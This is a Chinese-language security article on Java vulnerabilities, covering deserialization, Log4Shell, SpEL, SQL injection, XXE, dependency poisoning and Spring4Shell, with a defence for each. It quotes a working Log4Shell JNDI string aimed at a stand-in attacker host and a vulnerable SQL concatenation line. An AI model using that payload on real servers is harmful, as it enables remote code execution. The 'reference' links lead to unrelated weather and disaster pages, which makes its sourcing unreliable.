一、Java安全现状
由于Java广泛应用于银行、政府、大型企业,其安全性备受瞩目。然而近年来频频爆发的高危漏洞(Log4Shell、Spring4Shell、FastJSON反序列化等)敲响了警钟。本文深入分析Java生态中最具破坏性的几类漏洞,包括反序列化漏洞、日志库RCE、表达式注入、以及依赖供应链攻击。
二、反序列化漏洞——Java的“核弹”
Java原生的序列化(java.io.Serializable)机制允许将对象转换为字节流,readObject()方法在反序列化时会自动调用。如果攻击者可以控制反序列化的数据,就可能构造特定的调用链(如Runtime.exec)执行任意命令。
经典工具链:ysoserial项目提供了多个流行Java库的gadget链,例如CommonsCollections、Jackson、FastJSON。
防御措施:
不推荐使用Java原生序列化。改用JSON(Jackson/Gson)或Protobuf、Avro等跨语言格式。
使用ValidatingObjectInputStream限制可反序列化的类白名单。
升级JDK到17+,默认限制了某些危险类(如jdk.serialFilter)。
在SpringBoot中禁用enableDefaultTyping()(Jackson)或strict模式。
三、Log4Shell(CVE-2021-44228):日志漏洞的教科书
ApacheLog4j2允许基于JNDI的查找替换,例如${jndi:ldap://attacker.com/exploit}。当日志语句记录包含此字符串的用户输入时,Log4j会发起LDAP请求并加载远程类,导致远程代码执行。
影响:数万家公司的系统被扫描,被戏称为“互联网的心跳停止”。
修复:
升级到Log4j2.17.1及以上。
临时缓解:设置log4j2.formatMsgNoLookups=true或从classpath删除JndiLookup类。
使用RASP(运行时应用自我保护)或WAF规则。
参考:https://xbivx.cn/category/disaster-warning.html
四、表达式注入与SpEL
SpringExpressionLanguage(SpEL)非常强大,如果用户输入被直接传入SpelExpressionParser或@Value注解中,攻击者可执行任意Java代码。
防御:
绝不使用用户输入构建SpEL表达式。
使用SimpleEvaluationContext限制功能(仅允许属性访问,禁止调用方法)。
五、SQL注入——即使在Java中也不可忽视
虽然MyBatis和JPA采用参数化查询,但仍有开发者使用字符串拼接:
"SELECT*FROMusersWHEREname='"+userName+"'"。
防御:始终使用PreparedStatement(JDBC)或#{}而非${}(MyBatis)。
参考:https://xbivx.cn/category/weather-knowledge.html
六、XXE(XML外部实体攻击)
使用XML解析器(如DocumentBuilderFactory)时,若未禁用外部实体,攻击者可读取本地文件或发起SSRF攻击。
防御:
DocumentBuilderFactorydbf=DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");
七、供应链攻击:Maven依赖投毒
由于Java项目平均依赖80+个第三方库,攻击者可能上传恶意版本的库(如event-stream事件)。2024年某恶意包jdbc-mysql-event被下载数千次。
防御:
使用依赖扫描工具(OWASPDependency-Check、Snyk)。
构建时锁定特定版本,使用dependency:tree检查传递依赖。
使用私有仓库代理(Nexus,Artifactory)并配置白名单。
八、安全编码规范与工具
使用SpringSecurity框架进行认证授权。
静态分析:SpotBugs+FindSecBugs、SonarQube。
动态分析:BurpSuite、OWASPZAP。
遵循OWASPTop10forJava。
九、案例:Spring4Shell(CVE-2022-22965)
攻击者利用Spring的参数绑定机制,通过特殊请求修改Tomcat的日志配置,最终上传WebShell。预防:升级到SpringBoot2.6.6+,或禁止使用ClassLoader作为参数绑定目标。
十、总结
Java的安全漏洞往往源于其丰富的生态和动态特性(反射、字节码生成、类加载)。建立严格的输入验证、及时更新依赖、使用安全扫描工具、最小化序列化使用,是构建安全Java应用的必要实践。
参考:https://xbivx.cn